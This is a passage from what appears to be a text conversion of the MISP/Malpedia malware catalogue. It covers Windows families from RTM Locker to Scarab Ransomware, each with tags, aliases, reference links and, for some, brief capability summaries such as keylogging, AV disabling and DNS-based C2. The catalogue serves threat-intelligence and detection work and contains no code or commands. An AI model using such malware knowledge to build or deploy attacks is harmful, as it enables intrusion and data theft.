</table>
RTM Locker

The tag is: `misp-galaxy:malpedia="RTM Locker"`

RTM Locker is also known as:

- Read The Manual Locker

Table 4019. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rtm_locker">https://malpedia.caad.fkie.fraunhofer.de/details/win.rtm_locker</a></td>
</tr>
</tbody>
</table>

rtpos

The tag is: `misp-galaxy:malpedia="rtpos"`

rtpos is also known as:

Table 4020. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rtpos">https://malpedia.caad.fkie.fraunhofer.de/details/win.rtpos</a></td>
</tr>
<tr>
<td><a href="http://reversing.fun/posts/2022/01/30/rtpos.html">http://reversing.fun/posts/2022/01/30/rtpos.html</a></td>
</tr>
</tbody>
</table>

Ruckguv

The tag is: `misp-galaxy:malpedia="Ruckguv"`

Ruckguv is also known as:

Table 4021. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

1795
Rumish

The tag is: misp-galaxy:malpedia="Rumish"

Rumish is also known as:

Table 4022. Table References

Running RAT

NJCCIC characterizes RunningRAT as a remote access trojan (RAT) that operates using two DLL files. When the trojan is loaded onto a system, it executes the first DLL. This is used to disable anti-malware solutions, unpack and execute the main RAT DLL, and gain persistence. The trojan installs a Windows batch file dx.bat that attempts to kill the daumcleaner.exe task, a Korean security program. The file then attempts to remove itself. Once the second DLL is loaded into memory, the first DLL overwrites the IP address for the control server to change the address the trojan communicates with. The second DLL gathers information about the victim's system, including its operating system and driver and processor information. The RAT can log user keystrokes, copy the clipboard, delete files, compress files, clear event logs, shut down the machine, and more. The second DLL also uses several anti-bugging techniques.

The tag is: misp-galaxy:malpedia="Running RAT"

Running RAT is also known as:

• running_rat

Table 4023. Table References

RURansom

RURansom shows characteristics of typical ransomware, but despite its name, TrendMicro's assumptions after analysis showed that this malware is more a wiper than ransomware, because the irreversible destruction of encrypted files.

The tag is: misp-galaxy:malpedia="RURansom"
RURansom is also known as:

**Table 4024. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ruransom">https://malpedia.caad.fkie.fraunhofer.de/details/win.ruransom</a></td>
</tr>
</tbody>
</table>

**Rurktar**

The tag is: `misp-galaxy:malpedia="Rurktar"`

Rurktar is also known as:

- RCSU

**Table 4025. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rurktar">https://malpedia.caad.fkie.fraunhofer.de/details/win.rurktar</a></td>
</tr>
<tr>
<td><a href="https://www.gdatasoftware.com/blog/2017/07/29896-rurktar-spyware-under-construction">https://www.gdatasoftware.com/blog/2017/07/29896-rurktar-spyware-under-construction</a></td>
</tr>
</tbody>
</table>

**RustBucket (Windows)**

The tag is: `misp-galaxy:malpedia="RustBucket (Windows)"

RustBucket (Windows) is also known as:

**Table 4026. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rustbucket">https://malpedia.caad.fkie.fraunhofer.de/details/win.rustbucket</a></td>
</tr>
<tr>
<td><a href="https://blog.sekoia.io/bluenoroffs-rustbucket-campaign/">https://blog.sekoia.io/bluenoroffs-rustbucket-campaign/</a></td>
</tr>
</tbody>
</table>

**Rustock**

The tag is: `misp-galaxy:malpedia="Rustock"

Rustock is also known as:

**Table 4027. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rustock">https://malpedia.caad.fkie.fraunhofer.de/details/win.rustock</a></td>
</tr>
</tbody>
</table>
Ryuk

Ryuk is a ransomware which encrypts its victim’s files and asks for a ransom via bitcoin to release the original files. It is has been observed being used to attack companies or professional environments. Cybersecurity experts figured out that Ryuk and Hermes ransomware shares pieces of codes. Hermes is commodity ransomware that has been observed for sale on dark-net forums and used by multiple threat actors.

The tag is: *misp-galaxy:malpedia="Ryuk"

Ryuk is also known as:

*Table 4028. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk">https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk</a></td>
</tr>
<tr>
<td><a href="https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/">https://krebsonsecurity.com/2022/03/conti-ransomware-group-diaries-part-ii-the-office/</a></td>
</tr>
<tr>
<td><a href="https://medium.com/ax1al/reversing-ryuk-ee8ff65f5f12">https://medium.com/ax1al/reversing-ryuk-ee8ff65f5f12</a></td>
</tr>
<tr>
<td><a href="https://www.wilbursecurity.com/2020/03/trickbot-to-ryuk-in-two-hours/">https://www.wilbursecurity.com/2020/03/trickbot-to-ryuk-in-two-hours/</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2020/03/the-cycle-of-adversary-pursuit.html">https://www.fireeye.com/blog/threat-research/2020/03/the-cycle-of-adversary-pursuit.html</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>--------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=CgDtm05qApE">https://www.youtube.com/watch?v=CgDtm05qApE</a></td>
</tr>
<tr>
<td><a href="https://community.riskiq.com/article/0bcefe76">https://community.riskiq.com/article/0bcefe76</a></td>
</tr>
<tr>
<td><a href="https://github.com/ThreatConnect-Inc/research-team/blob/master/IOCs/WizardSpider-UNC1878-Ryuk.csv">https://github.com/ThreatConnect-Inc/research-team/blob/master/IOCs/WizardSpider-UNC1878-Ryuk.csv</a></td>
</tr>
<tr>
<td><a href="https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/">https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/</a></td>
</tr>
<tr>
<td><a href="https://www.zdnet.com/article/dod-contractor-suffers-ransomware-infection/">https://www.zdnet.com/article/dod-contractor-suffers-ransomware-infection/</a></td>
</tr>
<tr>
<td><a href="https://www.eldiario.es/tecnologia/capos-cibercrimen-avisan-contratacaran-si-hackear-rusia_1_8795458.html">https://www.eldiario.es/tecnologia/capos-cibercrimen-avisan-contratacaran-si-hackear-rusia_1_8795458.html</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=LUXOcpIRxmg">https://www.youtube.com/watch?v=LUXOcpIRxmg</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=7xxRunBP5XA">https://www.youtube.com/watch?v=7xxRunBP5XA</a></td>
</tr>
<tr>
<td><a href="https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker">https://intel471.com/blog/conti-ransomware-cooperation-maze-lockbit-ragnar-locker</a></td>
</tr>
<tr>
<td><a href="https://ia.acs.org.au/article/2019/hospital-cyberattack-could-have-been-avoided.html">https://ia.acs.org.au/article/2019/hospital-cyberattack-could-have-been-avoided.html</a></td>
</tr>
<tr>
<td><a href="https://sites.temple.edu/care/ci-rw-attacks/">https://sites.temple.edu/care/ci-rw-attacks/</a></td>
</tr>
<tr>
<td><a href="https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/">https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>--------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound">https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound</a></td>
</tr>
<tr>
<td><a href="https://blogs.quickheal.com/deep-dive-wakeup-lan-wol-implementation-ryuk/">https://blogs.quickheal.com/deep-dive-wakeup-lan-wol-implementation-ryuk/</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/wizard-spider-adversary-update/">https://www.crowdstrike.com/blog/wizard-spider-adversary-update/</a></td>
</tr>
<tr>
<td><a href="https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html">https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html</a></td>
</tr>
<tr>
<td><a href="https://thedfirreport.com/2021/01/31/bazar-no-ryuk/">https://thedfirreport.com/2021/01/31/bazar-no-ryuk/</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/ryuk-ransomware-targeted-campaign-break/">https://research.checkpoint.com/ryuk-ransomware-targeted-campaign-break/</a></td>
</tr>
<tr>
<td><a href="https://decrypt.co/15394/how-ransomware-exploded-in-the-age-of-btc">https://decrypt.co/15394/how-ransomware-exploded-in-the-age-of-btc</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/IntelAdvanced/status/1356114606780002308">https://twitter.com/IntelAdvanced/status/1356114606780002308</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/anthomsec/status/1321865315513520128">https://twitter.com/anthomsec/status/1321865315513520128</a></td>
</tr>
<tr>
<td><a href="https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus">https://blogs.blackberry.com/en/2022/01/kraken-the-code-on-prometheus</a></td>
</tr>
<tr>
<td><a href="https://medium.com/walmartglobaltech/inside-the-systembc-malware-as-a-service-9aa03afd09c6">https://medium.com/walmartglobaltech/inside-the-systembc-malware-as-a-service-9aa03afd09c6</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>----------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://blog.cyberint.com/ryuk-crypto-ransomware">https://blog.cyberint.com/ryuk-crypto-ransomware</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=Of_KjNG9DHc">https://www.youtube.com/watch?v=Of_KjNG9DHc</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=BhjQ6zsCVSc">https://www.youtube.com/watch?v=BhjQ6zsCVSc</a></td>
</tr>
<tr>
<td><a href="https://arcticwolf.com/resources/blog/karakurt-web">https://arcticwolf.com/resources/blog/karakurt-web</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/SecurityJoes/status/1402603695578157057">https://twitter.com/SecurityJoes/status/1402603695578157057</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/fin12-ransomware-intrusion-actor-pursuing-healthcare-targets">https://www.mandiant.com/resources/fin12-ransomware-intrusion-actor-pursuing-healthcare-targets</a></td>
</tr>
<tr>
<td><a href="https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v">https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v</a></td>
</tr>
<tr>
<td><a href="https://www.govcert.admin.ch/blog/36/severe-ransomware-attacks-against-swiss-smes">https://www.govcert.admin.ch/blog/36/severe-ransomware-attacks-against-swiss-smes</a></td>
</tr>
<tr>
<td><a href="https://blog.reversinglabs.com/blog/hunting-for-ransomware">https://blog.reversinglabs.com/blog/hunting-for-ransomware</a></td>
</tr>
<tr>
<td><a href="https://threatpost.com/apt-exploits-zerologon-targets-japanese-companies/161383/">https://threatpost.com/apt-exploits-zerologon-targets-japanese-companies/161383/</a></td>
</tr>
<tr>
<td><a href="https://gist.github.com/aaronst/6aa7f61246f53a8dd4befe8e86e832456">https://gist.github.com/aaronst/6aa7f61246f53a8dd4befe8e86e832456</a></td>
</tr>
</tbody>
</table>
Ryuk Stealer

Information Stealer that searches for sensitive documents and uploads its results to an FTP server. Skips files with known Ryuk extensions.

The tag is: `misp-galaxy:malpedia="Ryuk Stealer"`

Ryuk Stealer is also known as:

- Sidoh

<table>
<thead>
<tr>
<th>Table 4029. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk_stealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.ryuk_stealer</a></td>
</tr>
<tr>
<td><a href="https://analyst1.com/file-assets/Nationstate_ransomware_with_consecutive_endnotes.pdf">https://analyst1.com/file-assets/Nationstate_ransomware_with_consecutive_endnotes.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.crowdstrike.com/blog/sidoh-wizard-spiders-mysterious-exfiltration-tool/">https://www.crowdstrike.com/blog/sidoh-wizard-spiders-mysterious-exfiltration-tool/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/VK_Intel/status/1171782155581689858">https://twitter.com/VK_Intel/status/1171782155581689858</a></td>
</tr>
</tbody>
</table>

Sadogo

Ransomware.

The tag is: `misp-galaxy:malpedia="Sadogo"`

Sadogo is also known as:

<table>
<thead>
<tr>
<th>Table 4030. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sadogo">https://malpedia.caad.fkie.fraunhofer.de/details/win.sadogo</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2020/04/sadogo-ransomware.html">https://id-ransomware.blogspot.com/2020/04/sadogo-ransomware.html</a></td>
</tr>
</tbody>
</table>

Saefko

The tag is: `misp-galaxy:malpedia="Saefko"`

Saefko is also known as:
**SafeNet**

The tag is: `misp-galaxy:malpedia="SafeNet"`

SafeNet is also known as:

**Sagerunex**

According to Symantec, Sagerunex is a backdoor that is fairly resilient and implements multiple forms of communication with its command-and-control (C&C) server. Its logs are encrypted and the encryption algorithm used is AES256-CBC with 8192 rounds of SHA256 for key derivation based on a hardcoded key. It supports multiple modes methods for communicating via HTTP (proxy-aware).

The tag is: `misp-galaxy:malpedia="Sagerunex"`

Sagerunex is also known as:

**SAGE**

The tag is: `misp-galaxy:malpedia="SAGE"`

SAGE is also known as:

- Saga
SaiGon

FireEye reports SaiGon as a variant of ISFB v3 (versions documented are tagged 3.50.132) that is more a generic backdoor than being focused on enabling banking fraud.

The tag is: *misp-galaxy:malpedia="SaiGon"*

SaiGon is also known as:

*Table 4035. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.saigon">https://malpedia.caad.fkie.fraunhofer.de/details/win.saigon</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html">https://www.fireeye.com/blog/threat-research/2020/01/saigon-mysterious-ursnif-fork.html</a></td>
</tr>
</tbody>
</table>

Saint Bot

The tag is: *misp-galaxy:malpedia="Saint Bot"*

Saint Bot is also known as:

*Table 4036. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.saint_bot">https://malpedia.caad.fkie.fraunhofer.de/details/win.saint_bot</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/">https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/</a></td>
</tr>
<tr>
<td><a href="https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview">https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.com/threat-analysis/2021/04/a-deep-dive-into-saint-bot-downloader/">https://blog.malwarebytes.com/threat-analysis/2021/04/a-deep-dive-into-saint-bot-downloader/</a></td>
</tr>
<tr>
<td><a href="https://cert.gov.ua/article/18419">https://cert.gov.ua/article/18419</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/atoms/nascentursa/">https://unit42.paloaltonetworks.com/atoms/nascentursa/</a></td>
</tr>
</tbody>
</table>
**Saitama Backdoor**

This .Net written backdoor abuses the DNS protocol for its C2 communication. Also other techniques (e.g. long random sleeps, compression) are used to become more stealthy.

The tag is: *misp-galaxy:malpedia*="Saitama Backdoor"

Saitama Backdoor is also known as:

- AMATIAS
- Saitama

*Table 4037. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.saitama">https://malpedia.caad.fkie.fraunhofer.de/details/win.saitama</a></td>
</tr>
<tr>
<td><a href="https://blog.malwarebytes.com/threat-intelligence/2022/05/apt34-targets-jordan-government-using-new-saitama-backdoor/">https://blog.malwarebytes.com/threat-intelligence/2022/05/apt34-targets-jordan-government-using-new-saitama-backdoor/</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/please-confirm-you-received-our-apt">https://www.fortinet.com/blog/threat-research/please-confirm-you-received-our-apt</a></td>
</tr>
<tr>
<td><a href="https://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html">https://x-junior.github.io/malware%20analysis/2022/06/24/Apt34.html</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/Translating+Saitama%27s+DNS+tunneling+messages/28738">https://isc.sans.edu/diary/Translating+Saitama%27s+DNS+tunneling+messages/28738</a></td>
</tr>
</tbody>
</table>

**Sakula RAT**

Sakula / Sakurel is a trojan horse that opens a back door and downloads potentially malicious files onto the compromised computer.

The tag is: *misp-galaxy:malpedia*="Sakula RAT"

Sakula RAT is also known as:

- Sakurel

*Table 4038. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Salgorea

The tag is: `misp-galaxy:malpedia="Salgorea"

Salgorea is also known as:

- BadCake

*Table 4039. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.salgorea">https://malpedia.caad.fkie.fraunhofer.de/details/win.salgorea</a></td>
</tr>
</tbody>
</table>

Sality

F-Secure states that the Sality virus family has been circulating in the wild as early as 2003. Over the years, the malware has been developed and improved with the addition of new features, such as rootkit or backdoor functionality, and so on, keeping it an active and relevant threat despite the relative age of the malware.

Modern Sality variants also have the ability to communicate over a peer-to-peer (P2P) network, allowing an attacker to control a botnet of Sality-infected machines. The combined resources of the Sality botnet may also be used by its controller(s) to perform other malicious actions, such as attacking routers.

Infection Sality viruses typically infect executable files on local, shared and removable drives. In earlier variants, the Sality virus simply added its own malicious code to the end of the infected (or host) file, a technique known as prepending. The viral code that Sality inserts is polymorphic, a form of complex code that is intended to make analysis more difficult.

Earlier Sality variants were regarded as technically sophisticated in that they use an Entry Point Obscuration (EPO) technique to hide their presence on the system. This technique means that the virus inserts a command somewhere in the middle of an infected file’s code, so that when the
system is reading the file to execute it and comes to the command, it forces the system to 'jump' to the malware's code and execute that instead. This technique was used to make discovery and disinfection of the malicious code harder.

Payload Once installed on the computer system, Sality viruses usually also execute a malicious payload. The specific actions performed depend on the specific variant in question, but generally Sality viruses will attempt to terminate processes, particularly those related to security programs. The virus may also attempt to open connections to remote sites, download and run additional malicious files, and steal data from the infected machine.

The tag is: misp-galaxy:malpedia="Sality"

Sality is also known as:

Table 4040. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sality">https://malpedia.caad.fkie.fraunhofer.de/details/win.sality</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-110a">https://www.cisa.gov/uscert/ncas/alerts/aa22-110a</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/pe-file-infecting-malware-ot">https://www.mandiant.com/resources/pe-file-infecting-malware-ot</a></td>
</tr>
<tr>
<td><a href="https://gist.githubusercontent.com/quangnh89/41deada8a936a1877a6c6c757ce73800/raw/41f27388a11a606e1bd6a7596dcb6469578e79321/sality_extractor.py">https://gist.githubusercontent.com/quangnh89/41deada8a936a1877a6c6c757ce73800/raw/41f27388a11a606e1bd6a7596dcb6469578e79321/sality_extractor.py</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/c2-traffic/">https://unit42.paloaltonetworks.com/c2-traffic/</a></td>
</tr>
</tbody>
</table>

**SamoRAT**

According to PCrisk, SamoRAT is a Remote Access Trojan (RAT), a type of malware that allows the cyber criminals responsible to monitor and control the infected computer. In most cases, RATs are used to steal sensitive information and/or install other malware onto the infected computer.

The tag is: misp-galaxy:malpedia="SamoRAT"

SamoRAT is also known as:

Table 4041. Table References
SamSam

According to PCrisk, Samsam is high-risk ransomware designed to infect unpatched servers and encrypt files stored on computers networked to the infected server.

The tag is: *misp-galaxy:malpedia=“SamSam”*

SamSam is also known as:

- Samas

Table 4042. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.samsam">https://malpedia.caad.fkie.fraunhofer.de/details/win.samsam</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/samsam-ransomware-campaigns">https://www.secureworks.com/research/samsam-ransomware-campaigns</a></td>
</tr>
<tr>
<td><a href="https://therecord.media/iranian-hackers-behind-cox-media-group-ransomware-attack/">https://therecord.media/iranian-hackers-behind-cox-media-group-ransomware-attack/</a></td>
</tr>
<tr>
<td><a href="http://blog.talosintel.com/2016/03/samsam-ransomware.html">http://blog.talosintel.com/2016/03/samsam-ransomware.html</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/gold-lowell">https://www.secureworks.com/research/threat-profiles/gold-lowell</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/blog/samas-ransomware">https://www.secureworks.com/blog/samas-ransomware</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=LUxOcpIRxmG">https://www.youtube.com/watch?v=LUxOcpIRxmG</a></td>
</tr>
</tbody>
</table>
Sanny

The tag is: `misp-galaxy:malpedia="Sanny"`

Sanny is also known as:

Table 4043. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sanny">https://malpedia.caad.fkie.fraunhofer.de/details/win.sanny</a></td>
</tr>
<tr>
<td><a href="http://contagiodump.blogspot.com/2012/12/end-of-year-presents-continue.html">http://contagiodump.blogspot.com/2012/12/end-of-year-presents-continue.html</a></td>
</tr>
</tbody>
</table>

SapphireMiner

The tag is: `misp-galaxy:malpedia="SapphireMiner"`

SapphireMiner is also known as:

Table 4044. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sapphire_miner">https://malpedia.caad.fkie.fraunhofer.de/details/win.sapphire_miner</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html">https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html</a></td>
</tr>
</tbody>
</table>
SapphireStealer

The tag is: misp-galaxy:malpedia="SapphireStealer"

SapphireStealer is also known as:

Table 4045. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sapphire_stealer">https://malpedia.caad.fkie.fraunhofer.de/details/win.sapphire_stealer</a></td>
</tr>
<tr>
<td><a href="https://github.com/0day2/SapphireStealer/">https://github.com/0day2/SapphireStealer/</a></td>
</tr>
</tbody>
</table>

SappyCache

The tag is: misp-galaxy:malpedia="SappyCache"

SappyCache is also known as:

Table 4046. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sappycache">https://malpedia.caad.fkie.fraunhofer.de/details/win.sappycache</a></td>
</tr>
<tr>
<td><a href="https://blog.alyac.co.kr/m/2219">https://blog.alyac.co.kr/m/2219</a></td>
</tr>
<tr>
<td><a href="https://blog.reversinglabs.com/blog/catching-lateral-movement-in-internal-emails">https://blog.reversinglabs.com/blog/catching-lateral-movement-in-internal-emails</a></td>
</tr>
<tr>
<td><a href="https://blog.alyac.co.kr/2219">https://blog.alyac.co.kr/2219</a></td>
</tr>
</tbody>
</table>

Sarhust

The tag is: misp-galaxy:malpedia="Sarhust"

Sarhust is also known as:

- ENDCMD
- Hussarini

Table 4047. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sarhust">https://malpedia.caad.fkie.fraunhofer.de/details/win.sarhust</a></td>
</tr>
</tbody>
</table>
Sasfis

Sasfis acts mostly as a downloader that has been observed to download Asprox and FakeAV. According to a VirusBulletin article from 2012, it is likely authored by the same group as SmokeLoader.

The tag is: misp-galaxy:malpedia="Sasfis"

Sasfis is also known as:

• Oficl
d

Table 4048. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.sasfis">https://malpedia.caad.fkie.fraunhofer.de/details/win.sasfis</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/forums/diary/Sasfis+Propagation/8860/">https://isc.sans.edu/forums/diary/Sasfis+Propagation/8860/</a></td>
</tr>
</tbody>
</table>

Satacom

The tag is: misp-galaxy:malpedia="Satacom"

Satacom is also known as:

• LegionLoader

d

Table 4049. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.satacom">https://malpedia.caad.fkie.fraunhofer.de/details/win.satacom</a></td>
</tr>
</tbody>
</table>
Satan

Ransomware.

The tag is: `misp-galaxy:malpedia="Satan"`

Satan is also known as:

- 5ss5c
- DBGer
- Lucky Ransomware

**Table 4050. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.satan">https://malpedia.caad.fkie.fraunhofer.de/details/win.satan</a></td>
</tr>
<tr>
<td><a href="https://bartblaze.blogspot.com/2020/01/satan-ransomware-rebrands-as-5ss5c.html">https://bartblaze.blogspot.com/2020/01/satan-ransomware-rebrands-as-5ss5c.html</a></td>
</tr>
<tr>
<td><a href="http://blog.nsfocusglobal.com/categories/trend-analysis/satan-variant-analysis-handling-guide/">http://blog.nsfocusglobal.com/categories/trend-analysis/satan-variant-analysis-handling-guide/</a></td>
</tr>
</tbody>
</table>

Satana

According to bitdefender, Satana is an aggressive ransomware for Windows that encrypts the computer's master boot record (MBR) and prevents it from starting.

The tag is: `misp-galaxy:malpedia="Satana"`

Satana is also known as:

**Table 4051. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.satana">https://malpedia.caad.fkie.fraunhofer.de/details/win.satana</a></td>
</tr>
<tr>
<td><a href="https://blog.reversinglabs.com/blog/retread-ransomware">https://blog.reversinglabs.com/blog/retread-ransomware</a></td>
</tr>
<tr>
<td><a href="https://www.cylance.com/threat-spotlight-satan-raas">https://www.cylance.com/threat-spotlight-satan-raas</a></td>
</tr>
</tbody>
</table>
## Satellite Turla

The tag is: `misp-galaxy:malpedia="Satellite Turla"`

Satellite Turla is also known as:

### Table 4052. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.satellite_turla">https://malpedia.caad.fkie.fraunhofer.de/details/win.satellite_turla</a></td>
</tr>
</tbody>
</table>

## Sathurbot

The tag is: `misp-galaxy:malpedia="Sathurbot"`

Sathurbot is also known as:

### Table 4053. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.welivesecurity.com/2017/04/06/sathurbot-distributed-wordpress-password-attack/">https://www.welivesecurity.com/2017/04/06/sathurbot-distributed-wordpress-password-attack/</a></td>
</tr>
</tbody>
</table>

## ScanPOS

The tag is: `misp-galaxy:malpedia="ScanPOS"`

ScanPOS is also known as:

### Table 4054. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.scanpos">https://malpedia.caad.fkie.fraunhofer.de/details/win.scanpos</a></td>
</tr>
</tbody>
</table>
**Scarabey**

Ransomware with ransomnote in Russian and encryption extension .scarab.

The tag is: `misp-galaxy:malpedia="Scarabey"`

Scarabey is also known as:

- MVP
- Scarab
- Scarab-Russian

*Table 4055. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.scarabey">https://malpedia.caad.fkie.fraunhofer.de/details/win.scarabey</a></td>
</tr>
<tr>
<td><a href="https://id-ransomware.blogspot.com/2017/12/scarabey-ransomware.html">https://id-ransomware.blogspot.com/2017/12/scarabey-ransomware.html</a></td>
</tr>
</tbody>
</table>

**Scarab Ransomware**

The tag is: `misp-galaxy:malpedia="Scarab Ransomware"`

Scarab Ransomware is also known as:

*Table 4056. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
